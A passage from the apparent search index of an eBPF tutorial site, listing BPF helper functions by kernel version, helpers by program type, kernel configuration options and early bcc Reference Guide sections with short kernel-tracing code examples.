BPF_FUNC_rc_repeat() 4.18 GPL f4364dcfc86d BPF_FUNC_read_branch_records() 5.6 GPL fff7b64355ea BPF_FUNC_redirect() 4.4 27b29f63058d BPF_FUNC_redirect_map() 4.14 97f91a7cf04f BPF_FUNC_redirect_neigh() 5.10 b4ab31414970 BPF_FUNC_redirect_peer() 5.10 9aa1206e8f48 BPF_FUNC_reserve_hdr_opt() 5.10 0813a841566f BPF_FUNC_ringbuf_discard() 5.8 457f44363a88 BPF_FUNC_ringbuf_discard_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_output() 5.8 457f44363a88 BPF_FUNC_ringbuf_query() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_sk_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 BPF_FUNC_skb_change_tail() 4.9 5293efe62df8 BPF_FUNC_skb_change_type() 4.8 d2485c4242a8 BPF_FUNC_skb_cgroup_classid() 5.10 b426ce83baa7 BPF_FUNC_skb_cgroup_id() 4.18 cb20b08ead40 BPF_FUNC_skb_ecn_set_ce() 5.1 f7c917ba11a6 BPF_FUNC_skb_get_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_get_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_get_xfrm_state() 4.18 12bed760a78d BPF_FUNC_skb_load_bytes() 4.5 05c74e5e53f6 BPF_FUNC_skb_load_bytes_relative() 4.18 4e1ec56cdc59 BPF_FUNC_skb_output() 5.5 a7658e1a4164 BPF_FUNC_skb_pull_data() 4.9 36bbef52c7eb BPF_FUNC_skb_set_tstamp() 5.18 9bb984f28d5b BPF_FUNC_skb_set_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_set_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_store_bytes() 4.1 91bc4822c3d6 BPF_FUNC_skb_under_cgroup() 4.8 4a482f34afcc BPF_FUNC_skb_vlan_pop() 4.3 4e10df9a60d9 BPF_FUNC_skb_vlan_push() 4.3 4e10df9a60d9 BPF_FUNC_skc_lookup_tcp() 5.2 edbf8c01de5a BPF_FUNC_skc_to_mctcp_sock() 5.19 3bc253c2e652 BPF_FUNC_skc_to_tcp_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_request_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_timewait_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp6_sock() 5.9 af7ec1383361 BPF_FUNC_skc_to_udp6_sock() 5.9 0d4fad3e57df BPF_FUNC_skc_to_unix_sock() 5.16 9eeb3aa33ae0 BPF_FUNC_snprintf() 5.13 7b15523a989b BPF_FUNC_snprintf_btf() 5.10 c4d0bfb45068 BPF_FUNC_sock_from_file() 5.11 4f19cab76136 BPF_FUNC_sock_hash_update() 4.18 81110384441a BPF_FUNC_sock_map_update() 4.14 174a79ff9515 BPF_FUNC_spin_lock() 5.1 d83525ca62cf BPF_FUNC_spin_unlock() 5.1 d83525ca62cf BPF_FUNC_store_hdr_opt() 5.10 0813a841566f BPF_FUNC_strncmp() 5.17 c5fb19937455 BPF_FUNC_strtol() 5.2 d7a4cb9b6705 BPF_FUNC_strtoul() 5.2 d7a4cb9b6705 BPF_FUNC_sys_bpf() 5.14 79a7f8bdb159 BPF_FUNC_sys_close() 5.14 3abea089246f BPF_FUNC_sysctl_get_current_value() 5.2 1d11b3016cec BPF_FUNC_sysctl_get_name() 5.2 808649fb787d BPF_FUNC_sysctl_get_new_value() 5.2 4e63acdff864 BPF_FUNC_sysctl_set_new_value() 5.2 4e63acdff864 BPF_FUNC_tail_call() 4.2 04fd61ab36ec BPF_FUNC_task_pt_regs() 5.15 GPL dd6e10fbd9f BPF_FUNC_task_storage_delete() 5.11 4cf1bc1f1045 BPF_FUNC_task_storage_get() 5.11 4cf1bc1f1045 BPF_FUNC_tcp_check_syncookie() 5.2 399040847084 BPF_FUNC_tcp_gen_syncookie() 5.3 70d66244317e BPF_FUNC_tcp_raw_check_syncookie_ipv4() 6.0 33bf9885040c BPF_FUNC_tcp_raw_check_syncookie_ipv6() 6.0 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv4() 6.0 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv6() 6.0 33bf9885040c BPF_FUNC_tcp_send_ack() 5.5 206057fe020a BPF_FUNC_tcp_sock() 5.1 655a51e536c0 BPF_FUNC_this_cpu_ptr() 5.10 63d9b80dcf2c BPF_FUNC_timer_init() 5.15 b00628b1c7d5 BPF_FUNC_timer_set_callback() 5.15 b00628b1c7d5 BPF_FUNC_timer_start() 5.15 b00628b1c7d5 BPF_FUNC_timer_cancel() 5.15 b00628b1c7d5 BPF_FUNC_trace_printk() 4.1 GPL 9c959c863f82 BPF_FUNC_trace_vprintk() 5.16 GPL 10aceb629e19 BPF_FUNC_user_ringbuf_drain() 6.1 205715673844 BPF_FUNC_xdp_adjust_head() 4.10 17bedab27231 BPF_FUNC_xdp_adjust_meta() 4.15 de8f3a83b0a0 BPF_FUNC_xdp_adjust_tail() 4.18 b32cc5b9a346 BPF_FUNC_xdp_get_buff_len() 5.18 0165cc817075 BPF_FUNC_xdp_load_bytes() 5.18 3f364222d032 BPF_FUNC_xdp_store_bytes() 5.18 3f364222d032 BPF_FUNC_xdp_output() 5.6 GPL d831ee84bfc9 BPF_FUNC_override_return() 4.16 GPL 9802d86585db BPF_FUNC_sock_ops_cb_flags_set() 4.16 b13d88072172 Note: GPL-only BPF helpers require a GPL-compatible license. The current licenses considered GPL-compatible by the kernel are: GPL GPL v2 GPL and additional rights Dual BSD/GPL Dual MIT/GPL Dual MPL/GPL Check the list of GPL-compatible licenses in your kernel source code .","breadcrumbs":"BPF Features by Linux Kernel Version » Helpers","id":"178","title":"Helpers"},"179":{"body":"The list of program types and supported helper functions can be retrieved with: git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/ Program Type Helper Functions BPF_PROG_TYPE_SOCKET_FILTER BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_perf_event_output() Base functions BPF_PROG_TYPE_KPROBE BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_event_read_value() BPF_FUNC_override_return() Tracing functions BPF_PROG_TYPE_SCHED_CLS BPF_PROG_TYPE_SCHED_ACT BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_clone_redirect() BPF_FUNC_get_cgroup_classid() BPF_FUNC_skb_vlan_push() BPF_FUNC_skb_vlan_pop() BPF_FUNC_skb_change_proto() BPF_FUNC_skb_change_type() BPF_FUNC_skb_adjust_room() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_set_hash_invalid() BPF_FUNC_set_hash() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_fib_lookup() BPF_FUNC_skb_get_xfrm_state() BPF_FUNC_skb_cgroup_id() Base functions BPF_PROG_TYPE_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_d_path() Tracing functions BPF_PROG_TYPE_XDP BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_csum_diff() BPF_FUNC_xdp_adjust_head() BPF_FUNC_xdp_adjust_meta() BPF_FUNC_redirect() BPF_FUNC_redirect_map() BPF_FUNC_xdp_adjust_tail() BPF_FUNC_fib_lookup() Base functions BPF_PROG_TYPE_PERF_EVENT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_prog_read_value() Tracing functions BPF_PROG_TYPE_CGROUP_SKB BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() Base functions BPF_PROG_TYPE_CGROUP_SOCK BPF_FUNC_get_current_uid_gid() Base functions BPF_PROG_TYPE_LWT_IN BPF_FUNC_lwt_push_encap() LWT functions Base functions BPF_PROG_TYPE_LWT_OUT LWT functions Base functions BPF_PROG_TYPE_LWT_XMIT BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_clone_redirect() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_skb_store_bytes() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_set_hash_invalid() LWT functions BPF_PROG_TYPE_SOCK_OPS BPF_FUNC_setsockopt() BPF_FUNC_getsockopt() BPF_FUNC_sock_ops_cb_flags_set() BPF_FUNC_sock_map_update() BPF_FUNC_sock_hash_update() BPF_FUNC_get_socket_cookie() Base functions BPF_PROG_TYPE_SK_SKB BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_sk_redirect_map() BPF_FUNC_sk_redirect_hash() BPF_FUNC_sk_lookup_tcp() BPF_FUNC_sk_lookup_udp() BPF_FUNC_sk_release() Base functions BPF_PROG_TYPE_CGROUP_DEVICE BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_get_current_uid_gid() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_MSG BPF_FUNC_msg_redirect_map() BPF_FUNC_msg_redirect_hash() BPF_FUNC_msg_apply_bytes() BPF_FUNC_msg_cork_bytes() BPF_FUNC_msg_pull_data() BPF_FUNC_msg_push_data() BPF_FUNC_msg_pop_data() Base functions BPF_PROG_TYPE_RAW_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_skb_output() Tracing functions BPF_PROG_TYPE_CGROUP_SOCK_ADDR BPF_FUNC_get_current_uid_gid() BPF_FUNC_bind() BPF_FUNC_get_socket_cookie() Base functions BPF_PROG_TYPE_LWT_SEG6LOCAL BPF_FUNC_lwt_seg6_store_bytes() BPF_FUNC_lwt_seg6_action() BPF_FUNC_lwt_seg6_adjust_srh() LWT functions BPF_PROG_TYPE_LIRC_MODE2 BPF_FUNC_rc_repeat() BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_prandom_u32() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_REUSEPORT BPF_FUNC_sk_select_reuseport() BPF_FUNC_skb_load_bytes() BPF_FUNC_load_bytes_relative() Base functions BPF_PROG_TYPE_FLOW_DISSECTOR BPF_FUNC_skb_load_bytes() Base functions Function Group Functions Base functions BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_map_peek_elem() BPF_FUNC_map_pop_elem() BPF_FUNC_map_push_elem() BPF_FUNC_get_prandom_u32() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_tail_call() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_trace_printk() BPF_FUNC_spin_lock() BPF_FUNC_spin_unlock() Tracing functions BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_probe_read() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_current_pid_tgid() BPF_FUNC_get_current_task() BPF_FUNC_get_current_uid_gid() BPF_FUNC_get_current_comm() BPF_FUNC_trace_printk() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_perf_event_read() BPF_FUNC_probe_write_user() BPF_FUNC_current_task_under_cgroup() BPF_FUNC_get_prandom_u32() BPF_FUNC_probe_read_str() BPF_FUNC_get_current_cgroup_id() BPF_FUNC_send_signal() BPF_FUNC_probe_read_kernel() BPF_FUNC_probe_read_kernel_str() BPF_FUNC_probe_read_user() BPF_FUNC_probe_read_user_str() BPF_FUNC_send_signal_thread() BPF_FUNC_get_ns_current_pid_tgid() BPF_FUNC_xdp_output() BPF_FUNC_get_task_stack() LWT functions BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_get_cgroup_classid() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup()","breadcrumbs":"BPF Features by Linux Kernel Version » Program Types","id":"179","title":"Program Types"},"18":{"body":"如上所述， eBPF 程序的基本框架包括： 包含头文件：需要包含 <linux/bpf.h> 和 <bpf/bpf_helpers.h> 等头文件。 定义许可证：需要定义许可证，通常使用 \"Dual BSD/GPL\"。 定义 BPF 函数：需要定义一个 BPF 函数，例如其名称为 handle_tp，其参数为 void *ctx，返回值为 int。通常用 C 语言编写。 使用 BPF 助手函数：在例如 BPF 函数中，可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。 返回值","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 程序的基本框架","id":"18","title":"eBPF 程序的基本框架"},"180":{"body":"","breadcrumbs":"Kernel Configuration for BPF Features » Kernel Configuration for BPF Features","id":"180","title":"Kernel Configuration for BPF Features"},"181":{"body":"Functionalities Kernel Configuration Description Basic CONFIG_BPF_SYSCALL Enable the bpf() system call CONFIG_BPF_JIT BPF programs are normally handled by a BPF interpreter. This option allows the kernel to generate native code when a program is loaded into the kernel. This will significantly speed-up processing of BPF programs CONFIG_HAVE_BPF_JIT Enable BPF Just In Time compiler CONFIG_HAVE_EBPF_JIT Extended BPF JIT (eBPF) CONFIG_HAVE_CBPF_JIT Classic BPF JIT (cBPF) CONFIG_MODULES Enable to build loadable kernel modules CONFIG_BPF BPF VM interpreter CONFIG_BPF_EVENTS Allow the user to attach BPF programs to kprobe, uprobe, and tracepoint events CONFIG_PERF_EVENTS Kernel performance events and counters CONFIG_HAVE_PERF_EVENTS Enable perf events CONFIG_PROFILING Enable the extended profiling support mechanisms used by profilers BTF CONFIG_DEBUG_INFO_BTF Generate deduplicated BTF type information from DWARF debug info CONFIG_PAHOLE_HAS_SPLIT_BTF Generate BTF for each selected kernel module CONFIG_DEBUG_INFO_BTF_MODULES Generate compact split BTF type information for kernel modules Security CONFIG_BPF_JIT_ALWAYS_ON Enable BPF JIT and removes BPF interpreter to avoid speculative execution CONFIG_BPF_UNPRIV_DEFAULT_OFF Disable unprivileged BPF by default by setting Cgroup CONFIG_CGROUP_BPF Support for BPF programs attached to cgroups Network CONFIG_BPFILTER BPF based packet filtering framework (BPFILTER) CONFIG_BPFILTER_UMH This builds bpfilter kernel module with embedded user mode helper CONFIG_NET_CLS_BPF BPF-based classifier - to classify packets based on programmable BPF (JIT'ed) filters as an alternative to ematches CONFIG_NET_ACT_BPF Execute BPF code on packets. The BPF code will decide if the packet should be dropped or not CONFIG_BPF_STREAM_PARSER Enable this to allow a TCP stream parser to be used with BPF_MAP_TYPE_SOCKMAP CONFIG_LWTUNNEL_BPF Allow to run BPF programs as a nexthop action following a route lookup for incoming and outgoing packets CONFIG_NETFILTER_XT_MATCH_BPF BPF matching applies a linux socket filter to each packet and accepts those for which the filter returns non-zero CONFIG_IPV6_SEG6_BPF To support BPF seg6local hook. bpf: Add IPv6 Segment Routing helpersy. Reference kprobes CONFIG_KPROBE_EVENTS This allows the user to add tracing events (similar to tracepoints) on the fly via the ftrace interface CONFIG_KPROBES Enable kprobes-based dynamic events CONFIG_HAVE_KPROBES Check if krpobes enabled CONFIG_HAVE_REGS_AND_STACK_ACCESS_API This symbol should be selected by an architecture if it supports the API needed to access registers and stack entries from pt_regs. For example the kprobes-based event tracer needs this API. CONFIG_KPROBES_ON_FTRACE Have kprobes on function tracer if arch supports full passing of pt_regs to function tracing kprobe multi CONFIG_FPROBE Enable fprobe to attach the probe on multiple functions at once kprobe override CONFIG_BPF_KPROBE_OVERRIDE Enable BPF programs to override a kprobed function uprobes CONFIG_UPROBE_EVENTS Enable uprobes-based dynamic events CONFIG_ARCH_SUPPORTS_UPROBES Arch specific uprobes support CONFIG_UPROBES Uprobes is the user-space counterpart to kprobes: they enable instrumentation applications (such as 'perf probe') to establish unintrusive probes in user-space binaries and libraries, by executing handler functions when the probes are hit by user-space applications. CONFIG_MMU MMU-based virtualised addressing space support by paged memory management Tracepoints CONFIG_TRACEPOINTS Enable inserting tracepoints in the kernel and connect to proble functions CONFIG_HAVE_SYSCALL_TRACEPOINTS Enable syscall enter/exit tracing Raw Tracepoints Same as Tracepoints LSM CONFIG_BPF_LSM Enable instrumentation of the security hooks with BPF programs for implementing dynamic MAC and Audit Policies LIRC CONFIG_BPF_LIRC_MODE2 Allow attaching BPF programs to a lirc device","breadcrumbs":"Kernel Configuration for BPF Features » BPF Related Kernel Configurations","id":"181","title":"BPF Related Kernel Configurations"},"182":{"body":"Intended for search (Ctrl-F) and reference. For tutorials, start with tutorial.md . This guide is incomplete. If something feels missing, check the bcc and kernel source. And if you confirm we're missing something, please send a pull request to fix it, and help out everyone.","breadcrumbs":"bcc Reference Guide » bcc Reference Guide","id":"182","title":"bcc Reference Guide"},"183":{"body":"BPF C Events & Arguments 1. kprobes 2. kretprobes 3. Tracepoints 4. uprobes 5. uretprobes 6. USDT probes 7. Raw Tracepoints 8. system call tracepoints 9. kfuncs 10. kretfuncs 11. lsm probes 12. bpf iterators Data 1. bpf_probe_read_kernel() 2. bpf_probe_read_kernel_str() 3. bpf_ktime_get_ns() 4. bpf_get_current_pid_tgid() 5. bpf_get_current_uid_gid() 6. bpf_get_current_comm() 7. bpf_get_current_task() 8. bpf_log2l() 9. bpf_get_prandom_u32() 10. bpf_probe_read_user() 11. bpf_probe_read_user_str() 12. bpf_get_ns_current_pid_tgid() Debugging 1. bpf_override_return() Output 1. bpf_trace_printk() 2. BPF_PERF_OUTPUT 3. perf_submit() 4. perf_submit_skb() 5. BPF_RINGBUF_OUTPUT 6. ringbuf_output() 7. ringbuf_reserve() 8. ringbuf_submit() 9. ringbuf_discard() Maps 1. BPF_TABLE 2. BPF_HASH 3. BPF_ARRAY 4. BPF_HISTOGRAM 5. BPF_STACK_TRACE 6. BPF_PERF_ARRAY 7. BPF_PERCPU_HASH 8. BPF_PERCPU_ARRAY 9. BPF_LPM_TRIE 10. BPF_PROG_ARRAY 11. BPF_DEVMAP 12. BPF_CPUMAP 13. BPF_XSKMAP 14. BPF_ARRAY_OF_MAPS 15. BPF_HASH_OF_MAPS 16. BPF_STACK 17. BPF_QUEUE 18. BPF_SOCKHASH 19. map.lookup() 20. map.lookup_or_try_init() 21. map.delete() 22. map.update() 23. map.insert() 24. map.increment() 25. map.get_stackid() 26. map.perf_read() 27. map.call() 28. map.redirect_map() 29. map.push() 30. map.pop() 31. map.peek() 32. map.sock_hash_update() 33. map.msg_redirect_hash() 34. map.sk_redirect_hash() Licensing Rewriter bcc Python Initialization 1. BPF 2. USDT Events 1. attach_kprobe() 2. attach_kretprobe() 3. attach_tracepoint() 4. attach_uprobe() 5. attach_uretprobe() 6. USDT.enable_probe() 7. attach_raw_tracepoint() 8. attach_raw_socket() 9. attach_xdp() 10. attach_func() 11. detach_func() 12. detach_kprobe() 13. detach_kretprobe() Debug Output 1. trace_print() 2. trace_fields() Output APIs 1. perf_buffer_poll() 2. ring_buffer_poll() 3. ring_buffer_consume() Map APIs 1. get_table() 2. open_perf_buffer() 3. items() 4. values() 5. clear() 6. items_lookup_and_delete_batch() 7. items_lookup_batch() 8. items_delete_batch() 9. items_update_batch() 10. print_log2_hist() 11. print_linear_hist() 12. open_ring_buffer() 13. push() 14. pop() 15. peek() Helpers 1. ksym() 2. ksymname() 3. sym() 4. num_open_kprobes() 5. get_syscall_fnname() BPF Errors 1. Invalid mem access 2. Cannot call GPL only function from proprietary program Environment Variables 1. kernel source directory 2. kernel version overriding","breadcrumbs":"bcc Reference Guide » Contents","id":"183","title":"Contents"},"184":{"body":"This section describes the C part of a bcc program.","breadcrumbs":"bcc Reference Guide » BPF C","id":"184","title":"BPF C"},"185":{"body":"","breadcrumbs":"bcc Reference Guide » Events & Arguments","id":"185","title":"Events & Arguments"},"186":{"body":"Syntax: kprobe__ kernel_function_name kprobe__ is a special prefix that creates a kprobe (dynamic tracing of a kernel function call) for the kernel function name provided as the remainder. You can also use kprobes by declaring a normal C function, then using the Python BPF.attach_kprobe() (covered later) to associate it with a kernel function. Arguments are specified on the function declaration: kprobe__ kernel_function_name (struct pt_regs *ctx [, argument1 ...]) For example: int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) { [...]\n} This instruments the tcp_v4_connect() kernel function using a kprobe, with the following arguments: struct pt_regs *ctx: Registers and BPF context. struct sock *sk: First argument to tcp_v4_connect(). The first argument is always struct pt_regs *, the remainder are the arguments to the function (they don't need to be specified, if you don't intend to use them). Examples in situ: code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 1. kprobes","id":"186","title":"1. kprobes"},"187":{"body":"Syntax: kretprobe__ kernel_function_name kretprobe__ is a special prefix that creates a kretprobe (dynamic tracing of a kernel function return) for the kernel function name provided as the remainder. You can also use kretprobes by declaring a normal C function, then using the Python BPF.attach_kretprobe() (covered later) to associate it with a kernel function. Return value is available as PT_REGS_RC(ctx), given a function declaration of: kretprobe__ kernel_function_name (struct pt_regs *ctx) For example: int kretprobe__tcp_v4_connect(struct pt_regs *ctx)\n{ int ret = PT_REGS_RC(ctx); [...]\n} This instruments the return of the tcp_v4_connect() kernel function using a kretprobe, and stores the return value in ret. Examples in situ: code ( output )","breadcrumbs":"bcc Reference Guide » 2. kretprobes","id":"187","title":"2. kretprobes"},"188":{"body":"Syntax: TRACEPOINT_PROBE( category , event ) This is a macro that instruments the tracepoint defined by category : event . The tracepoint name is <category>:<event>. The probe function name is tracepoint__<category>__<event>. Arguments are available in an args struct, which are the tracepoint arguments. One way to list these is to cat the relevant format file under /sys/kernel/debug/tracing/events/ category / event /format. The args struct can be used in place of ctx in each functions requiring a context as an argument. This includes notably perf_submit() . For example: TRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n} This instruments the tracepoint random:urandom_read tracepoint, and prints the tracepoint argument got_bits. When using Python API, this probe is automatically attached to the right tracepoint target. For C++, this tracepoint probe can be attached by specifying the tracepoint target and function name explicitly: BPF::attach_tracepoint(\"random:urandom_read\", \"tracepoint__random__urandom_read\") Note the name of the probe function defined above is tracepoint__random__urandom_read. Examples in situ: code ( output ), search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. Tracepoints","id":"188","title":"3. Tracepoints"},"189":{"body":"These are instrumented by declaring a normal function in C, then associating it as a uprobe probe in Python via BPF.attach_uprobe() (covered later). Arguments can be examined using PT_REGS_PARM macros. For example: int count(struct pt_regs *ctx) { char buf[64]; bpf_probe_read_user(&buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx)); bpf_trace_printk(\"%s %d\", buf, PT_REGS_PARM2(ctx)); return(0);\n} This reads the first argument as a string, and then prints it with the second argument as an integer. Examples in situ: code","breadcrumbs":"bcc Reference Guide » 4. uprobes","id":"189","title":"4. uprobes"},"19":{"body":"跟踪点（tracepoints）是内核静态插桩技术，跟踪点在技术上只是放置在内核源代码中的跟踪函数，实际上就是在源码中插入的一些带有控制条件的探测点，这些探测点允许事后再添加处理函数。比如在内核中，最常见的静态跟踪方法就是 printk，即输出日志。又比如：在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。 于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API，数量有限。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » tracepoints","id":"19","title":"tracepoints"},"190":{"body":"These are instrumented by declaring a normal function in C, then associating it as a uretprobe probe in Python via BPF.attach_uretprobe() (covered later). Return value is available as PT_REGS_RC(ctx), given a function declaration of: function_name (struct pt_regs *ctx) For example: BPF_HISTOGRAM(dist);\nint count(struct pt_regs *ctx) { dist.increment(PT_REGS_RC(ctx)); return 0;\n} This increments the bucket in the dist histogram that is indexed by the return value. Examples in situ: code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 5. uretprobes","id":"190","title":"5. uretprobes"},"191":{"body":"These are User Statically-Defined Tracing (USDT) probes, which may be placed in some applications or libraries to provide a user-level equivalent of tracepoints. The primary BPF method provided for USDT support method is enable_probe(). USDT probes are instrumented by declaring a normal function in C, then associating it as a USDT probe in Python via USDT.enable_probe(). Arguments can be read via: bpf_usdt_readarg( index , ctx, &addr) For example: int do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n}; This reads the sixth USDT argument, and then pulls it in as a string to path. When initializing USDTs via the third argument of BPF::init in the C API, if any USDT fails to init, entire BPF::init will fail. If you're OK with some USDTs failing to init, use BPF::init_usdt before calling BPF::init. Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. USDT probes","id":"191","title":"6. USDT probes"},"192":{"body":"Syntax: RAW_TRACEPOINT_PROBE( event ) This is a macro that instruments the raw tracepoint defined by event . The argument is a pointer to struct bpf_raw_tracepoint_args, which is defined in bpf.h . The struct field args contains all parameters of the raw tracepoint where you can found at linux tree include/trace/events directory. For example: RAW_TRACEPOINT_PROBE(sched_switch)\n{ // TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next) struct task_struct *prev = (struct task_struct *)ctx->args[1]; struct task_struct *next= (struct task_struct *)ctx->args[2]; s32 prev_tgid, next_tgid; bpf_probe_read_kernel(&prev_tgid, sizeof(prev->tgid), &prev->tgid); bpf_probe_read_kernel(&next_tgid, sizeof(next->tgid), &next->tgid); bpf_trace_printk(\"%d -> %d\\\\n\", prev_tgid, next_tgid);\n} This instruments the sched:sched_switch tracepoint, and prints the prev and next tgid. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 7. Raw Tracepoints","id":"192","title":"7. Raw Tracepoints"},"193":{"body":"Syntax: syscall__SYSCALLNAME syscall__ is a special prefix that creates a kprobe for the system call name provided as the remainder. You can use it by declaring a normal C function, then using the Python BPF.get_syscall_fnname(SYSCALLNAME) and BPF.attach_kprobe() to associate it. Arguments are specified on the function declaration: syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...]). For example: int syscall__execve(struct pt_regs *ctx, const char __user *filename, const char __user *const __user *__argv, const char __user *const __user *__envp)\n{ [...]\n} This instruments the execve system call. The first argument is always struct pt_regs *, the remainder are the arguments to the function (they don't need to be specified, if you don't intend to use them). Corresponding Python code: b = BPF(text=bpf_text)\nexecve_fnname = 